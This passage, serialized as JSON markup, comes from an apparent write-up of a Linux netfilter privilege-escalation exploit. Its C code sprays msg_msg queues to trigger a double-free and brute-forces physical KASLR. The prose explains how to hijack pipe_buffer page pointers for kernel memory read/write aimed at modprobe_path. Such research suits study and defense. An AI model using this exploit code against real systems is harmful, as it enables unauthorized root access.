msgget",{"type":23,"tag":504,"props":59894,"children":59895},{"style":5058},[59896],{"type":29,"value":59897},"(IPC_PRIVATE, ",{"type":23,"tag":504,"props":59899,"children":59900},{"style":5083},[59901],{"type":29,"value":59902},"0666",{"type":23,"tag":504,"props":59904,"children":59905},{"style":5047},[59906],{"type":29,"value":6310},{"type":23,"tag":504,"props":59908,"children":59909},{"style":5058},[59910],{"type":29,"value":59911}," IPC_CREAT);\n",{"type":23,"tag":504,"props":59913,"children":59914},{"class":5016,"line":5349},[59915,59919,59923,59928,59932,59936,59940],{"type":23,"tag":504,"props":59916,"children":59917},{"style":5067},[59918],{"type":29,"value":5314},{"type":23,"tag":504,"props":59920,"children":59921},{"style":5058},[59922],{"type":29,"value":5110},{"type":23,"tag":504,"props":59924,"children":59925},{"style":5041},[59926],{"type":29,"value":59927},"qid",{"type":23,"tag":504,"props":59929,"children":59930},{"style":5058},[59931],{"type":29,"value":56657},{"type":23,"tag":504,"props":59933,"children":59934},{"style":5047},[59935],{"type":29,"value":2658},{"type":23,"tag":504,"props":59937,"children":59938},{"style":5083},[59939],{"type":29,"value":5086},{"type":23,"tag":504,"props":59941,"children":59942},{"style":5058},[59943],{"type":29,"value":5200},{"type":23,"tag":504,"props":59945,"children":59946},{"class":5016,"line":5367},[59947],{"type":23,"tag":504,"props":59948,"children":59949},{"style":5058},[59950],{"type":29,"value":33714},{"type":23,"tag":504,"props":59952,"children":59953},{"class":5016,"line":5388},[59954,59959,59963,59968],{"type":23,"tag":504,"props":59955,"children":59956},{"style":5139},[59957],{"type":29,"value":59958},"            perror",{"type":23,"tag":504,"props":59960,"children":59961},{"style":5058},[59962],{"type":29,"value":603},{"type":23,"tag":504,"props":59964,"children":59965},{"style":6297},[59966],{"type":29,"value":59967},"\"[-] msgget\"",{"type":23,"tag":504,"props":59969,"children":59970},{"style":5058},[59971],{"type":29,"value":5888},{"type":23,"tag":504,"props":59973,"children":59974},{"class":5016,"line":5397},[59975],{"type":23,"tag":504,"props":59976,"children":59977},{"style":5058},[59978],{"type":29,"value":5394},{"type":23,"tag":504,"props":59980,"children":59981},{"class":5016,"line":5649},[59982,59986,59990,59995,59999,60003,60008,60012,60017,60021],{"type":23,"tag":504,"props":59983,"children":59984},{"style":5047},[59985],{"type":29,"value":9796},{"type":23,"tag":504,"props":59987,"children":59988},{"style":5058},[59989],{"type":29,"value":603},{"type":23,"tag":504,"props":59991,"children":59992},{"style":5030},[59993],{"type":29,"value":59994},"uint32_t",{"type":23,"tag":504,"props":59996,"children":59997},{"style":5047},[59998],{"type":29,"value":11863},{"type":23,"tag":504,"props":60000,"children":60001},{"style":5058},[60002],{"type":29,"value":933},{"type":23,"tag":504,"props":60004,"children":60005},{"style":5041},[60006],{"type":29,"value":60007},"msg",{"type":23,"tag":504,"props":60009,"children":60010},{"style":5058},[60011],{"type":29,"value":15803},{"type":23,"tag":504,"props":60013,"children":60014},{"style":5041},[60015],{"type":29,"value":60016},"mtext",{"type":23,"tag":504,"props":60018,"children":60019},{"style":5047},[60020],{"type":29,"value":5050},{"type":23,"tag":504,"props":60022,"children":60023},{"style":5058},[60024],{"type":29,"value":60025}," i;\n",{"type":23,"tag":504,"props":60027,"children":60028},{"class":5016,"line":5666},[60029,60033,60037,60041,60045,60049,60053,60057,60061,60065,60069,60073,60077,60081,60086],{"type":23,"tag":504,"props":60030,"children":60031},{"style":5047},[60032],{"type":29,"value":9796},{"type":23,"tag":504,"props":60034,"children":60035},{"style":5058},[60036],{"type":29,"value":603},{"type":23,"tag":504,"props":60038,"children":60039},{"style":5030},[60040],{"type":29,"value":57696},{"type":23,"tag":504,"props":60042,"children":60043},{"style":5047},[60044],{"type":29,"value":11863},{"type":23,"tag":504,"props":60046,"children":60047},{"style":5058},[60048],{"type":29,"value":933},{"type":23,"tag":504,"props":60050,"children":60051},{"style":5047},[60052],{"type":29,"value":5151},{"type":23,"tag":504,"props":60054,"children":60055},{"style":5041},[60056],{"type":29,"value":60007},{"type":23,"tag":504,"props":60058,"children":60059},{"style":5058},[60060],{"type":29,"value":15803},{"type":23,"tag":504,"props":60062,"children":60063},{"style":5041},[60064],{"type":29,"value":60016},{"type":23,"tag":504,"props":60066,"children":60067},{"style":5058},[60068],{"type":29,"value":1380},{"type":23,"tag":504,"props":60070,"children":60071},{"style":5083},[60072],{"type":29,"value":6124},{"type":23,"tag":504,"props":60074,"children":60075},{"style":5058},[60076],{"type":29,"value":10706},{"type":23,"tag":504,"props":60078,"children":60079},{"style":5047},[60080],{"type":29,"value":546},{"type":23,"tag":504,"props":60082,"children":60083},{"style":5083},[60084],{"type":29,"value":60085}," 0xdeadbeefcafebabe",{"type":23,"tag":504,"props":60087,"children":60088},{"style":5058},[60089],{"type":29,"value":5061},{"type":23,"tag":504,"props":60091,"children":60092},{"class":5016,"line":5683},[60093,60098,60102,60107,60111],{"type":23,"tag":504,"props":60094,"children":60095},{"style":5041},[60096],{"type":29,"value":60097},"        msg",{"type":23,"tag":504,"props":60099,"children":60100},{"style":5058},[60101],{"type":29,"value":15803},{"type":23,"tag":504,"props":60103,"children":60104},{"style":5041},[60105],{"type":29,"value":60106},"mtype",{"type":23,"tag":504,"props":60108,"children":60109},{"style":5047},[60110],{"type":29,"value":5050},{"type":23,"tag":504,"props":60112,"children":60113},{"style":5058},[60114],{"type":29,"value":60115}," MTYPE_PRIMARY;\n",{"type":23,"tag":504,"props":60117,"children":60118},{"class":5016,"line":5696},[60119,60124,60128,60132,60137,60141,60145,60150,60154,60158],{"type":23,"tag":504,"props":60120,"children":60121},{"style":5139},[60122],{"type":29,"value":60123},"        msgsnd",{"type":23,"tag":504,"props":60125,"children":60126},{"style":5058},[60127],{"type":29,"value":603},{"type":23,"tag":504,"props":60129,"children":60130},{"style":5041},[60131],{"type":29,"value":59927},{"type":23,"tag":504,"props":60133,"children":60134},{"style":5058},[60135],{"type":29,"value":60136},"[i], msg, ",{"type":23,"tag":504,"props":60138,"children":60139},{"style":5083},[60140],{"type":29,"value":58033},{"type":23,"tag":504,"props":60142,"children":60143},{"style":5047},[60144],{"type":29,"value":53317},{"type":23,"tag":504,"props":60146,"children":60147},{"style":5083},[60148],{"type":29,"value":60149}," 48",{"type":23,"tag":504,"props":60151,"children":60152},{"style":5058},[60153],{"type":29,"value":4367},{"type":23,"tag":504,"props":60155,"children":60156},{"style":5083},[60157],{"type":29,"value":708},{"type":23,"tag":504,"props":60159,"children":60160},{"style":5058},[60161],{"type":29,"value":5888},{"type":23,"tag":504,"props":60163,"children":60164},{"class":5016,"line":5705},[60165,60169,60173,60177,60181],{"type":23,"tag":504,"props":60166,"children":60167},{"style":5041},[60168],{"type":29,"value":60097},{"type":23,"tag":504,"props":60170,"children":60171},{"style":5058},[60172],{"type":29,"value":15803},{"type":23,"tag":504,"props":60174,"children":60175},{"style":5041},[60176],{"type":29,"value":60106},{"type":23,"tag":504,"props":60178,"children":60179},{"style":5047},[60180],{"type":29,"value":5050},{"type":23,"tag":504,"props":60182,"children":60183},{"style":5058},[60184],{"type":29,"value":60185}," MTYPE_SECONDARY;\n",{"type":23,"tag":504,"props":60187,"children":60188},{"class":5016,"line":5728},[60189,60193,60197,60201,60205,60210,60214,60218,60222,60226],{"type":23,"tag":504,"props":60190,"children":60191},{"style":5139},[60192],{"type":29,"value":60123},{"type":23,"tag":504,"props":60194,"children":60195},{"style":5058},[60196],{"type":29,"value":603},{"type":23,"tag":504,"props":60198,"children":60199},{"style":5041},[60200],{"type":29,"value":59927},{"type":23,"tag":504,"props":60202,"children":60203},{"style":5058},[60204],{"type":29,"value":60136},{"type":23,"tag":504,"props":60206,"children":60207},{"style":5083},[60208],{"type":29,"value":60209},"1024",{"type":23,"tag":504,"props":60211,"children":60212},{"style":5047},[60213],{"type":29,"value":53317},{"type":23,"tag":504,"props":60215,"children":60216},{"style":5083},[60217],{"type":29,"value":60149},{"type":23,"tag":504,"props":60219,"children":60220},{"style":5058},[60221],{"type":29,"value":4367},{"type":23,"tag":504,"props":60223,"children":60224},{"style":5083},[60225],{"type":29,"value":708},{"type":23,"tag":504,"props":60227,"children":60228},{"style":5058},[60229],{"type":29,"value":5888},{"type":23,"tag":504,"props":60231,"children":60232},{"class":5016,"line":5737},[60233],{"type":23,"tag":504,"props":60234,"children":60235},{"style":5058},[60236],{"type":29,"value":5403},{"type":23,"tag":504,"props":60238,"children":60239},{"class":5016,"line":5746},[60240],{"type":23,"tag":504,"props":60241,"children":60242},{"style":5021},[60243],{"type":29,"value":60244},"    // Prepare evil msg\n",{"type":23,"tag":504,"props":60246,"children":60247},{"class":5016,"line":5813},[60248,60252,60257,60261,60265,60269,60273,60277],{"type":23,"tag":504,"props":60249,"children":60250},{"style":5030},[60251],{"type":29,"value":21128},{"type":23,"tag":504,"props":60253,"children":60254},{"style":5058},[60255],{"type":29,"value":60256}," evilqid ",{"type":23,"tag":504,"props":60258,"children":60259},{"style":5047},[60260],{"type":29,"value":546},{"type":23,"tag":504,"props":60262,"children":60263},{"style":5139},[60264],{"type":29,"value":59892},{"type":23,"tag":504,"props":60266,"children":60267},{"style":5058},[60268],{"type":29,"value":59897},{"type":23,"tag":504,"props":60270,"children":60271},{"style":5083},[60272],{"type":29,"value":59902},{"type":23,"tag":504,"props":60274,"children":60275},{"style":5047},[60276],{"type":29,"value":6310},{"type":23,"tag":504,"props":60278,"children":60279},{"style":5058},[60280],{"type":29,"value":59911},{"type":23,"tag":504,"props":60282,"children":60283},{"class":5016,"line":5821},[60284,60288,60293,60297,60301],{"type":23,"tag":504,"props":60285,"children":60286},{"style":5067},[60287],{"type":29,"value":14325},{"type":23,"tag":504,"props":60289,"children":60290},{"style":5058},[60291],{"type":29,"value":60292}," (evilqid ",{"type":23,"tag":504,"props":60294,"children":60295},{"style":5047},[60296],{"type":29,"value":2658},{"type":23,"tag":504,"props":60298,"children":60299},{"style":5083},[60300],{"type":29,"value":5086},{"type":23,"tag":504,"props":60302,"children":60303},{"style":5058},[60304],{"type":29,"value":5200},{"type":23,"tag":504,"props":60306,"children":60307},{"class":5016,"line":5851},[60308],{"type":23,"tag":504,"props":60309,"children":60310},{"style":5058},[60311],{"type":29,"value":31241},{"type":23,"tag":504,"props":60313,"children":60314},{"class":5016,"line":5859},[60315,60320,60324,60328],{"type":23,"tag":504,"props":60316,"children":60317},{"style":5139},[60318],{"type":29,"value":60319},"        perror",{"type":23,"tag":504,"props":60321,"children":60322},{"style":5058},[60323],{"type":29,"value":603},{"type":23,"tag":504,"props":60325,"children":60326},{"style":6297},[60327],{"type":29,"value":59967},{"type":23,"tag":504,"props":60329,"children":60330},{"style":5058},[60331],{"type":29,"value":5888},{"type":23,"tag":504,"props":60333,"children":60334},{"class":5016,"line":5891},[60335],{"type":23,"tag":504,"props":60336,"children":60337},{"style":5058},[60338],{"type":29,"value":5403},{"type":23,"tag":504,"props":60340,"children":60341},{"class":5016,"line":5899},[60342],{"type":23,"tag":504,"props":60343,"children":60344},{"style":5058},[60345],{"type":29,"value":60346},"[...] // trigger double-free in kmalloc-256\n",{"type":23,"tag":320,"props":60348,"children":60350},{"id":60349},"using-pipe_buffer-page-pointer-for-physical-readwrite",[60351],{"type":29,"value":60352},"Using pipe_buffer->page pointer for physical read/write",{"type":23,"tag":32,"props":60354,"children":60355},{},[60356,60358,60364,60365,60371,60372,60378,60380,60386],{"type":29,"value":60357},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":23,"tag":154,"props":60359,"children":60361},{"className":60360},[],[60362],{"type":29,"value":60363},"kmalloc-1k",{"type":29,"value":4478},{"type":23,"tag":154,"props":60366,"children":60368},{"className":60367},[],[60369],{"type":29,"value":60370},"overlap pipe_buffer",{"type":29,"value":23556},{"type":23,"tag":154,"props":60373,"children":60375},{"className":60374},[],[60376],{"type":29,"value":60377},"skbuf",{"type":29,"value":60379}," data to control the ",{"type":23,"tag":154,"props":60381,"children":60383},{"className":60382},[],[60384],{"type":29,"value":60385},"page",{"type":29,"value":60387}," field.",{"type":23,"tag":32,"props":60389,"children":60390},{},[60391,60392,60397,60399,60405,60407],{"type":29,"value":18661},{"type":23,"tag":154,"props":60393,"children":60395},{"className":60394},[],[60396],{"type":29,"value":60385},{"type":29,"value":60398}," field is a pointer into ",{"type":23,"tag":154,"props":60400,"children":60402},{"className":60401},[],[60403],{"type":29,"value":60404},"vmemmap_base",{"type":29,"value":60406},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":23,"tag":199,"props":60408,"children":60410},{"alt":201,"src":60409},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":23,"tag":32,"props":60412,"children":60413},{},[60414,60416,60421],{"type":29,"value":60415},"This now allows us to navigate the ",{"type":23,"tag":154,"props":60417,"children":60419},{"className":60418},[],[60420],{"type":29,"value":60404},{"type":29,"value":60422}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":23,"tag":320,"props":60424,"children":60426},{"id":60425},"bruteforce-physical-kernel-base",[60427],{"type":29,"value":60428},"Bruteforce physical kernel base",{"type":23,"tag":32,"props":60430,"children":60431},{},[60432,60434,60440,60442,60447,60449,60455],{"type":29,"value":60433},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":23,"tag":154,"props":60435,"children":60437},{"className":60436},[],[60438],{"type":29,"value":60439},"modprobe_path",{"type":29,"value":60441},". Keep in mind that simply searching page by page from the start of ",{"type":23,"tag":154,"props":60443,"children":60445},{"className":60444},[],[60446],{"type":29,"value":60404},{"type":29,"value":60448}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":23,"tag":154,"props":60450,"children":60452},{"className":60451},[],[60453],{"type":29,"value":60454},"PHYSICAL_ALIGN",{"type":29,"value":60456}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":23,"tag":4743,"props":60458,"children":60460},{"className":31164,"code":60459,"language":31166,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n    uint64_t kernel_base;\n    bool found = false;\n    uint8_t data[PAGE_SIZE] = {0};\n    puts(\"[*] bruteforce phys-KASLR\");\n    for (uint64_t i = 0;; i++)\n    {\n        kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n        pipebuf->page = vmemmap_base + kernel_base;\n        pipebuf->offset = 0;\n        pipebuf->len = PAGE_SIZE + 1;\n[...]\n        for (int j = 0; j \u003C PIPE_SPRAY; j++)\n        {\n            memset(&data, 0, PAGE_SIZE);\n            int count;\n            if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n            {\n                continue;\n            }\n[...]\n\n            if (is_kernel_base(data)) // [1] identify kernel base\n            {\n                found = true;\n                break;\n            }\n        }\n\n[...]\n",[60461],{"type":23,"tag":154,"props":60462,"children":60463},{"__ignoreMap":7},[60464,60471,60479,60487,60511,60544,60564,60604,60611,60655,60689,60716,60752,60759,60805,60812,60842,60855,60920,60927,60939,60947,60954,60961,60987,60994,61014,61026,61033,61040,61047],{"type":23,"tag":504,"props":60465,"children":60466},{"class":5016,"line":5017},[60467],{"type":23,"tag":504,"props":60468,"children":60469},{"style":5058},[60470],{"type":29,"value":12364},{"type":23,"tag":504,"props":60472,"children":60473},{"class":5016,"line":4868},[60474],{"type":23,"tag":504,"props":60475,"children":60476},{"style":5058},[60477],{"type":29,"value":60478},"// Bruteforce phys-KASLR\n",{"type":23,"tag":504,"props":60480,"children":60481},{"class":5016,"line":4876},[60482],{"type":23,"tag":504,"props":60483,"children":60484},{"style":5058},[60485],{"type":29,"value":60486},"    uint64_t kernel_base;\n",{"type":23,"tag":504,"props":60488,"children":60489},{"class":5016,"line":5099},[60490,60494,60499,60503,60507],{"type":23,"tag":504,"props":60491,"children":60492},{"style":5030},[60493],{"type":29,"value":48535},{"type":23,"tag":504,"props":60495,"children":60496},{"style":5058},[60497],{"type":29,"value":60498}," found ",{"type":23,"tag":504,"props":60500,"children":60501},{"style":5047},[60502],{"type":29,"value":546},{"type":23,"tag":504,"props":60504,"children":60505},{"style":5030},[60506],{"type":29,"value":11104},{"type":23,"tag":504,"props":60508,"children":60509},{"style":5058},[60510],{"type":29,"value":5061},{"type":23,"tag":504,"props":60512,"children":60513},{"class":5016,"line":5203},[60514,60519,60523,60528,60532,60536,60540],{"type":23,"tag":504,"props":60515,"children":60516},{"style":5030},[60517],{"type":29,"value":60518},"    uint8_t",{"type":23,"tag":504,"props":60520,"children":60521},{"style":5041},[60522],{"type":29,"value":17151},{"type":23,"tag":504,"props":60524,"children":60525},{"style":5058},[60526],{"type":29,"value":60527},"[PAGE_SIZE] ",{"type":23,"tag":504,"props":60529,"children":60530},{"style":5047},[60531],{"type":29,"value":546},{"type":23,"tag":504,"props":60533,"children":60534},{"style":5058},[60535],{"type":29,"value":47279},{"type":23,"tag":504,"props":60537,"children":60538},{"style":5083},[60539],{"type":29,"value":708},{"type":23,"tag":504,"props":60541,"children":60542},{"style":5058},[60543],{"type":29,"value":18625},{"type":23,"tag":504,"props":60545,"children":60546},{"class":5016,"line":5308},[60547,60551,60555,60560],{"type":23,"tag":504,"props":60548,"children":60549},{"style":5139},[60550],{"type":29,"value":57568},{"type":23,"tag":504,"props":60552,"children":60553},{"style":5058},[60554],{"type":29,"value":603},{"type":23,"tag":504,"props":60556,"children":60557},{"style":6297},[60558],{"type":29,"value":60559},"\"[*] bruteforce phys-KASLR\"",{"type":23,"tag":504,"props":60561,"children":60562},{"style":5058},[60563],{"type":29,"value":5888},{"type":23,"tag":504,"props":60565,"children":60566},{"class":5016,"line":5336},[60567,60571,60575,60579,60583,60587,60591,60596,60600],{"type":23,"tag":504,"props":60568,"children":60569},{"style":5067},[60570],{"type":29,"value":5070},{"type":23,"tag":504,"props":60572,"children":60573},{"style":5058},[60574],{"type":29,"value":5110},{"type":23,"tag":504,"props":60576,"children":60577},{"style":5030},[60578],{"type":29,"value":57696},{"type":23,"tag":504,"props":60580,"children":60581},{"style":5058},[60582],{"type":29,"value":56605},{"type":23,"tag":504,"props":60584,"children":60585},{"style":5047},[60586],{"type":29,"value":546},{"type":23,"tag":504,"props":60588,"children":60589},{"style":5083},[60590],{"type":29,"value":5086},{"type":23,"tag":504,"props":60592,"children":60593},{"style":5058},[60594],{"type":29,"value":60595},";; i",{"type":23,"tag":504,"props":60597,"children":60598},{"style":5047},[60599],{"type":29,"value":53331},{"type":23,"tag":504,"props":60601,"children":60602},{"style":5058},[60603],{"type":29,"value":5200},{"type":23,"tag":504,"props":60605,"children":60606},{"class":5016,"line":5349},[60607],{"type":23,"tag":504,"props":60608,"children":60609},{"style":5058},[60610],{"type":29,"value":31241},{"type":23,"tag":504,"props":60612,"children":60613},{"class":5016,"line":5367},[60614,60619,60623,60628,60632,60637,60641,60646,60650],{"type":23,"tag":504,"props":60615,"children":60616},{"style":5058},[60617],{"type":29,"value":60618},"        kernel_base ",{"type":23,"tag":504,"props":60620,"children":60621},{"style":5047},[60622],{"type":29,"value":546},{"type":23,"tag":504,"props":60624,"children":60625},{"style":5083},[60626],{"type":29,"value":60627}," 0x40",{"type":23,"tag":504,"props":60629,"children":60630},{"style":5047},[60631],{"type":29,"value":11863},{"type":23,"tag":504,"props":60633,"children":60634},{"style":5058},[60635],{"type":29,"value":60636}," ((PHYSICAL_ALIGN ",{"type":23,"tag":504,"props":60638,"children":60639},{"style":5047},[60640],{"type":29,"value":6613},{"type":23,"tag":504,"props":60642,"children":60643},{"style":5058},[60644],{"type":29,"value":60645}," i) ",{"type":23,"tag":504,"props":60647,"children":60648},{"style":5047},[60649],{"type":29,"value":14807},{"type":23,"tag":504,"props":60651,"children":60652},{"style":5058},[60653],{"type":29,"value":60654}," PAGE_SHIFT);\n",{"type":23,"tag":504,"props":60656,"children":60657},{"class":5016,"line":5388},[60658,60663,60667,60671,60675,60680,60684],{"type":23,"tag":504,"props":60659,"children":60660},{"style":5041},[60661],{"type":29,"value":60662},"        pipebuf",{"type":23,"tag":504,"props":60664,"children":60665},{"style":5058},[60666],{"type":29,"value":15803},{"type":23,"tag":504,"props":60668,"children":60669},{"style":5041},[60670],{"type":29,"value":60385},{"type":23,"tag":504,"props":60672,"children":60673},{"style":5047},[60674],{"type":29,"value":5050},{"type":23,"tag":504,"props":60676,"children":60677},{"style":5058},[60678],{"type":29,"value":60679}," vmemmap_base ",{"type":23,"tag":504,"props":60681,"children":60682},{"style":5047},[60683],{"type":29,"value":6422},{"type":23,"tag":504,"props":60685,"children":60686},{"style":5058},[60687],{"type":29,"value":60688}," kernel_base;\n",{"type":23,"tag":504,"props":60690,"children":60691},{"class":5016,"line":5397},[60692,60696,60700,60704,60708,60712],{"type":23,"tag":504,"props":60693,"children":60694},{"style":5041},[60695],{"type":29,"value":60662},{"type":23,"tag":504,"props":60697,"children":60698},{"style":5058},[60699],{"type":29,"value":15803},{"type":23,"tag":504,"props":60701,"children":60702},{"style":5041},[60703],{"type":29,"value":15947},{"type":23,"tag":504,"props":60705,"children":60706},{"style":5047},[60707],{"type":29,"value":5050},{"type":23,"tag":504,"props":60709,"children":60710},{"style":5083},[60711],{"type":29,"value":5086},{"type":23,"tag":504,"props":60713,"children":60714},{"style":5058},[60715],{"type":29,"value":5061},{"type":23,"tag":504,"props":60717,"children":60718},{"class":5016,"line":5649},[60719,60723,60727,60731,60735,60740,60744,60748],{"type":23,"tag":504,"props":60720,"children":60721},{"style":5041},[60722],{"type":29,"value":60662},{"type":23,"tag":504,"props":60724,"children":60725},{"style":5058},[60726],{"type":29,"value":15803},{"type":23,"tag":504,"props":60728,"children":60729},{"style":5041},[60730],{"type":29,"value":11186},{"type":23,"tag":504,"props":60732,"children":60733},{"style":5047},[60734],{"type":29,"value":5050},{"type":23,"tag":504,"props":60736,"children":60737},{"style":5058},[60738],{"type":29,"value":60739}," PAGE_SIZE ",{"type":23,"tag":504,"props":60741,"children":60742},{"style":5047},[60743],{"type":29,"value":6422},{"type":23,"tag":504,"props":60745,"children":60746},{"style":5083},[60747],{"type":29,"value":6565},{"type":23,"tag":504,"props":60749,"children":60750},{"style":5058},[60751],{"type":29,"value":5061},{"type":23,"tag":504,"props":60753,"children":60754},{"class":5016,"line":5666},[60755],{"type":23,"tag":504,"props":60756,"children":60757},{"style":5058},[60758],{"type":29,"value":12364},{"type":23,"tag":504,"props":60760,"children":60761},{"class":5016,"line":5683},[60762,60767,60771,60775,60779,60783,60788,60792,60797,60801],{"type":23,"tag":504,"props":60763,"children":60764},{"style":5058},[60765],{"type":29,"value":60766},"        for (",{"type":23,"tag":504,"props":60768,"children":60769},{"style":5030},[60770],{"type":29,"value":21098},{"type":23,"tag":504,"props":60772,"children":60773},{"style":5041},[60774],{"type":29,"value":10668},{"type":23,"tag":504,"props":60776,"children":60777},{"style":5047},[60778],{"type":29,"value":5050},{"type":23,"tag":504,"props":60780,"children":60781},{"style":5083},[60782],{"type":29,"value":5086},{"type":23,"tag":504,"props":60784,"children":60785},{"style":5058},[60786],{"type":29,"value":60787},"; j ",{"type":23,"tag":504,"props":60789,"children":60790},{"style":5047},[60791],{"type":29,"value":2658},{"type":23,"tag":504,"props":60793,"children":60794},{"style":5058},[60795],{"type":29,"value":60796}," PIPE_SPRAY; j",{"type":23,"tag":504,"props":60798,"children":60799},{"style":5047},[60800],{"type":29,"value":53331},{"type":23,"tag":504,"props":60802,"children":60803},{"style":5058},[60804],{"type":29,"value":5200},{"type":23,"tag":504,"props":60806,"children":60807},{"class":5016,"line":5696},[60808],{"type":23,"tag":504,"props":60809,"children":60810},{"style":5058},[60811],{"type":29,"value":33714},{"type":23,"tag":504,"props":60813,"children":60814},{"class":5016,"line":5705},[60815,60820,60824,60828,60833,60837],{"type":23,"tag":504,"props":60816,"children":60817},{"style":5139},[60818],{"type":29,"value":60819},"            memset",{"type":23,"tag":504,"props":60821,"children":60822},{"style":5058},[60823],{"type":29,"value":603},{"type":23,"tag":504,"props":60825,"children":60826},{"style":5047},[60827],{"type":29,"value":5151},{"type":23,"tag":504,"props":60829,"children":60830},{"style":5058},[60831],{"type":29,"value":60832},"data, ",{"type":23,"tag":504,"props":60834,"children":60835},{"style":5083},[60836],{"type":29,"value":708},{"type":23,"tag":504,"props":60838,"children":60839},{"style":5058},[60840],{"type":29,"value":60841},", PAGE_SIZE);\n",{"type":23,"tag":504,"props":60843,"children":60844},{"class":5016,"line":5728},[60845,60850],{"type":23,"tag":504,"props":60846,"children":60847},{"style":5030},[60848],{"type":29,"value":60849},"            int",{"type":23,"tag":504,"props":60851,"children":60852},{"style":5058},[60853],{"type":29,"value":60854}," count;\n",{"type":23,"tag":504,"props":60856,"children":60857},{"class":5016,"line":5737},[60858,60863,60868,60872,60877,60881,60886,60891,60895,60899,60903,60908,60912,60916],{"type":23,"tag":504,"props":60859,"children":60860},{"style":5067},[60861],{"type":29,"value":60862},"            if",{"type":23,"tag":504,"props":60864,"children":60865},{"style":5058},[60866],{"type":29,"value":60867}," (count ",{"type":23,"tag":504,"props":60869,"children":60870},{"style":5047},[60871],{"type":29,"value":546},{"type":23,"tag":504,"props":60873,"children":60874},{"style":5139},[60875],{"type":29,"value":60876}," read",{"type":23,"tag":504,"props":60878,"children":60879},{"style":5058},[60880],{"type":29,"value":603},{"type":23,"tag":504,"props":60882,"children":60883},{"style":5041},[60884],{"type":29,"value":60885},"pfd",{"type":23,"tag":504,"props":60887,"children":60888},{"style":5058},[60889],{"type":29,"value":60890},"[j][",{"type":23,"tag":504,"props":60892,"children":60893},{"style":5083},[60894],{"type":29,"value":708},{"type":23,"tag":504,"props":60896,"children":60897},{"style":5058},[60898],{"type":29,"value":25101},{"type":23,"tag":504,"props":60900,"children":60901},{"style":5047},[60902],{"type":29,"value":5151},{"type":23,"tag":504,"props":60904,"children":60905},{"style":5058},[60906],{"type":29,"value":60907},"data, PAGE_SIZE) ",{"type":23,"tag":504,"props":60909,"children":60910},{"style":5047},[60911],{"type":29,"value":2658},{"type":23,"tag":504,"props":60913,"children":60914},{"style":5083},[60915],{"type":29,"value":5086},{"type":23,"tag":504,"props":60917,"children":60918},{"style":5058},[60919],{"type":29,"value":5200},{"type":23,"tag":504,"props":60921,"children":60922},{"class":5016,"line":5746},[60923],{"type":23,"tag":504,"props":60924,"children":60925},{"style":5058},[60926],{"type":29,"value":33750},{"type":23,"tag":504,"props":60928,"children":60929},{"class":5016,"line":5813},[60930,60935],{"type":23,"tag":504,"props":60931,"children":60932},{"style":5067},[60933],{"type":29,"value":60934},"                continue",{"type":23,"tag":504,"props":60936,"children":60937},{"style":5058},[60938],{"type":29,"value":5061},{"type":23,"tag":504,"props":60940,"children":60941},{"class":5016,"line":5821},[60942],{"type":23,"tag":504,"props":60943,"children":60944},{"style":5058},[60945],{"type":29,"value":60946},"            }\n",{"type":23,"tag":504,"props":60948,"children":60949},{"class":5016,"line":5851},[60950],{"type":23,"tag":504,"props":60951,"children":60952},{"style":5058},[60953],{"type":29,"value":12364},{"type":23,"tag":504,"props":60955,"children":60956},{"class":5016,"line":5859},[60957],{"type":23,"tag":504,"props":60958,"children":60959},{"emptyLinePlaceholder":15},[60960],{"type":29,"value":5734},{"type":23,"tag":504,"props":60962,"children":60963},{"class":5016,"line":5891},[60964,60969,60974,60978,60982],{"type":23,"tag":504,"props":60965,"children":60966},{"style":5058},[60967],{"type":29,"value":60968},"            if (",{"type":23,"tag":504,"props":60970,"children":60971},{"style":5467},[60972],{"type":29,"value":60973},"is_kernel_base",{"type":23,"tag":504,"props":60975,"children":60976},{"style":5058},[60977],{"type":29,"value":603},{"type":23,"tag":504,"props":60979,"children":60980},{"style":5467},[60981],{"type":29,"value":5761},{"type":23,"tag":504,"props":60983,"children":60984},{"style":5058},[60985],{"type":29,"value":60986},")) // [1] identify kernel base\n",{"type":23,"tag":504,"props":60988,"children":60989},{"class":5016,"line":5899},[60990],{"type":23,"tag":504,"props":60991,"children":60992},{"style":5058},[60993],{"type":29,"value":33750},{"type":23,"tag":504,"props":60995,"children":60996},{"class":5016,"line":5959},[60997,61002,61006,61010],{"type":23,"tag":504,"props":60998,"children":60999},{"style":5058},[61000],{"type":29,"value":61001},"                found ",{"type":23,"tag":504,"props":61003,"children":61004},{"style":5047},[61005],{"type":29,"value":546},{"type":23,"tag":504,"props":61007,"children":61008},{"style":5030},[61009],{"type":29,"value":14515},{"type":23,"tag":504,"props":61011,"children":61012},{"style":5058},[61013],{"type":29,"value":5061},{"type":23,"tag":504,"props":61015,"children":61016},{"class":5016,"line":11093},[61017,61022],{"type":23,"tag":504,"props":61018,"children":61019},{"style":5067},[61020],{"type":29,"value":61021},"                break",{"type":23,"tag":504,"props":61023,"children":61024},{"style":5058},[61025],{"type":29,"value":5061},{"type":23,"tag":504,"props":61027,"children":61028},{"class":5016,"line":11111},[61029],{"type":23,"tag":504,"props":61030,"children":61031},{"style":5058},[61032],{"type":29,"value":60946},{"type":23,"tag":504,"props":61034,"children":61035},{"class":5016,"line":11156},[61036],{"type":23,"tag":504,"props":61037,"children":61038},{"style":5058},[61039],{"type":29,"value":5394},{"type":23,"tag":504,"props":61041,"children":61042},{"class":5016,"line":11262},[61043],{"type":23,"tag":504,"props":61044,"children":61045},{"emptyLinePlaceholder":15},[61046],{"type":29,"value":5734},{"type":23,"tag":504,"props":61048,"children":61049},{"class":5016,"line":25550},[61050],{"type":23,"tag":504,"props":61051,"children":61052},{"style":5058},[61053],{"type":29,"value":12364},{"type":23,"tag":32,"props":61055,"children":61056},{},[61057,61059,61063,61065,61071,61073,61077],{"type":29,"value":61058},"Notice that at 